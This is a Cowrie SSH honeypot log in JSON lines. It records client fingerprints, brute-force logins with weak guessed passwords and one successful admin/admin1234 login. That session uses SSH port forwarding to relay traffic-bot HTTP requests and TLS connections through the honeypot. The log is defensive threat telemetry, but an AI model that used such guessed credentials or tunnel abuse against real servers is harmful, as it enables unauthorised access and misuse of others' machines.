{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:04.956804Z","src_ip":"46.19.67.181","session":"09b984ea01af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boris123","message":"login attempt [root/boris123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:05.302725Z","src_ip":"46.19.67.181","session":"09b984ea01af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:06.418023Z","src_ip":"46.19.67.181","session":"09b984ea01af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":39434,"dst_ip":"159.203.135.109","dst_port":22,"session":"9441feffd64c","protocol":"ssh","message":"New connection: 2.99.213.222:39434 (159.203.135.109:22) [session: 9441feffd64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:06.647340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:06.652228Z","src_ip":"2.99.213.222","session":"9441feffd64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:06.753237Z","src_ip":"2.99.213.222","session":"9441feffd64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@1234","message":"login attempt [root/Qwerty@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:07.206143Z","src_ip":"2.99.213.222","session":"9441feffd64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:08.308365Z","src_ip":"2.99.213.222","session":"9441feffd64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"45.7","message":"Connection lost after 45.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:09.864498Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52752,"dst_ip":"10.17.0.5","dst_port":22,"session":"418db3c56965","protocol":"ssh","message":"New connection: 123.27.168.40:52752 (10.17.0.5:22) [session: 418db3c56965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:13.932680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:13.937092Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:14.179887Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:15.380101Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:15.736634Z","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":64808,"dst_ip":"10.17.0.5","dst_port":22,"session":"e06063fac634","protocol":"ssh","message":"New connection: 173.208.188.210:64808 (10.17.0.5:22) [session: e06063fac634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:15.865180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:15.869728Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:15.938448Z","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:16.026333Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:16.299580Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.75 Mobile/17G68 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=a28odjdIWWtCSD5uVm9ZbA%3D%3DWt7dEPURrfO5r2lEMui0Y4JcCPa1Du0aiYmQ4%2BEqPKjCvvxX%2BJ1lSk48PMDZJwiLwxlO5ZwhEsWjNRLoXqNtIJFCgzc%2F4XzQeUKnP8UKYSrxV4ztOoQPO4rPMkCTm93YnPlEHtx9oVZfnuzISKfQFPnCYKzJdF%2FgBBTVJTKQY0e2c3nf5%2BVJENnDtFavnZgAH9Rg%2FQKxVj4rveoIO7%2FDM0SaRWjt1KppvQNjYNJrTHBmya159Z3U7%2FZmrpOUjApbsN3Q%2B6m%2FYGKnVuuKq8TQ%2B5WRgI2Pv7lp%2Bm1bl9ShnxoDrzHg064O1e%2B6Xtv1AEiX2QkJIUY9BvauW4G925buSfx2fbuY1ZVbXBSHTCRyxlMt9JKROmhqJrKQ4SpvOcChzTj5SFBNrBJ9uqWAvUOz6LUECcN6KyXwKmgsx%2Fe5zbd0M3LHTYRyc5pqefsmtcnCOGWPTNry7hAwPapM13P6DTObHGiMOP0gfx6ZSQp%2FYNCa9krJ4T06bPWNeRtAOuFwkZRm%2Bs8NhLS1YtN2KYn%2BFWz4qBSEffQEWoythYK%2BLgeCzMLn1MIBaPd6eJbitUTftWvejtEWdqUmNacOHZHd19IzCMoSv065ZzDXk9LgVkxujhr3J5%2BHF7Byfp8EQ1rr4bKbe%2FFLbG8QVwnzCE0VZ3ytfsGBXB6xmqxlpcW7qk4B9z%2Fpt4R%2BNvKB0mAey5ul65CUbQCnYuXRtKEhQHDwDLLvuZ7fusOXt5i0pG7fZMaup%2B8HO%2BX7BuXlYqrjb9%2FGkwZdrmhqEmbsqMMv2Rz9QeFJ5mMfK0KeX5Jf7%2Fs71kqueTnPIQE5ZkZkgCEPwUXYcsbL%2FxDb6JKOORXDT2rvgZW1DYmBm3x6zwaI%2F5Q%2FQhKJe7zr7iGIbx2QZIE6cNHhfjHRuJSYw%2FYgpj5MPbBAJO4sDfAQpPFnBMQOBwSNNtc66cIZ3J4D0W5paZ2tkSYflnnUgtZdDE78D0O33TMh%2FsSMZBEtS77I%2FidnSWcriwzji37nLJMNaUXjZgIutI7qyD8boPfdkxkcO0BT06pZRa090bBwycbRzm5dHAkikRA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.75 Mobile/17G68 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=a28odjdIWWtCSD5uVm9ZbA%3D%3DWt7dEPURrfO5r2lEMui0Y4JcCPa1Du0aiYmQ4%2BEqPKjCvvxX%2BJ1lSk48PMDZJwiLwxlO5ZwhEsWjNRLoXqNtIJFCgzc%2F4XzQeUKnP8UKYSrxV4ztOoQPO4rPMkCTm93YnPlEHtx9oVZfnuzISKfQFPnCYKzJdF%2FgBBTVJTKQY0e2c3nf5%2BVJENnDtFavnZgAH9Rg%2FQKxVj4rveoIO7%2FDM0SaRWjt1KppvQNjYNJrTHBmya159Z3U7%2FZmrpOUjApbsN3Q%2B6m%2FYGKnVuuKq8TQ%2B5WRgI2Pv7lp%2Bm1bl9ShnxoDrzHg064O1e%2B6Xtv1AEiX2QkJIUY9BvauW4G925buSfx2fbuY1ZVbXBSHTCRyxlMt9JKROmhqJrKQ4SpvOcChzTj5SFBNrBJ9uqWAvUOz6LUECcN6KyXwKmgsx%2Fe5zbd0M3LHTYRyc5pqefsmtcnCOGWPTNry7hAwPapM13P6DTObHGiMOP0gfx6ZSQp%2FYNCa9krJ4T06bPWNeRtAOuFwkZRm%2Bs8NhLS1YtN2KYn%2BFWz4qBSEffQEWoythYK%2BLgeCzMLn1MIBaPd6eJbitUTftWvejtEWdqUmNacOHZHd19IzCMoSv065ZzDXk9LgVkxujhr3J5%2BHF7Byfp8EQ1rr4bKbe%2FFLbG8QVwnzCE0VZ3ytfsGBXB6xmqxlpcW7qk4B9z%2Fpt4R%2BNvKB0mAey5ul65CUbQCnYuXRtKEhQHDwDLLvuZ7fusOXt5i0pG7fZMaup%2B8HO%2BX7BuXlYqrjb9%2FGkwZdrmhqEmbsqMMv2Rz9QeFJ5mMfK0KeX5Jf7%2Fs71kqueTnPIQE5ZkZkgCEPwUXYcsbL%2FxDb6JKOORXDT2rvgZW1DYmBm3x6zwaI%2F5Q%2FQhKJe7zr7iGIbx2QZIE6cNHhfjHRuJSYw%2FYgpj5MPbBAJO4sDfAQpPFnBMQOBwSNNtc66cIZ3J4D0W5paZ2tkSYflnnUgtZdDE78D0O33TMh%2FsSMZBEtS77I%2FidnSWcriwzji37nLJMNaUXjZgIutI7qyD8boPfdkxkcO0BT06pZRa090bBwycbRzm5dHAkikRA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:16.303248Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:16.307484Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5p\\x98\\xba\\xd8\\x87\\x1c\\x0fDO\\x86y-\\xec\\x18\\x04v\\xd5\\x11\\x17\\xa4h\\x86\\xc0\"\\xfb\\xb79\\xa1\\x89eg \\x8a\\xb6\\xdbb\\xf8,\\xc8\\xc6\\xa0\\xe4\\x9f\\xeb\\x03\\xc5<\\xd4_\\x83&Y\\x1f`\\x19\\x8bW\\t\\xca\\x0f\\x90\\x85\\xc2\\xff\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xd3\\xa0\\x8f2o\\x011\\xba\\x96\\xff\\xc7\\x9dk\\xc6p\\xc9F\\x97a\\xde8\\xfd\\xa8\\xdd\\xb8\\xda\\x95\\x99-\\\\V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5p\\x98\\xba\\xd8\\x87\\x1c\\x0fDO\\x86y-\\xec\\x18\\x04v\\xd5\\x11\\x17\\xa4h\\x86\\xc0\"\\xfb\\xb79\\xa1\\x89eg \\x8a\\xb6\\xdbb\\xf8,\\xc8\\xc6\\xa0\\xe4\\x9f\\xeb\\x03\\xc5<\\xd4_\\x83&Y\\x1f`\\x19\\x8bW\\t\\xca\\x0f\\x90\\x85\\xc2\\xff\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xd3\\xa0\\x8f2o\\x011\\xba\\x96\\xff\\xc7\\x9dk\\xc6p\\xc9F\\x97a\\xde8\\xfd\\xa8\\xdd\\xb8\\xda\\x95\\x99-\\\\V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:16.310368Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:16.571571Z","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:16.809626Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
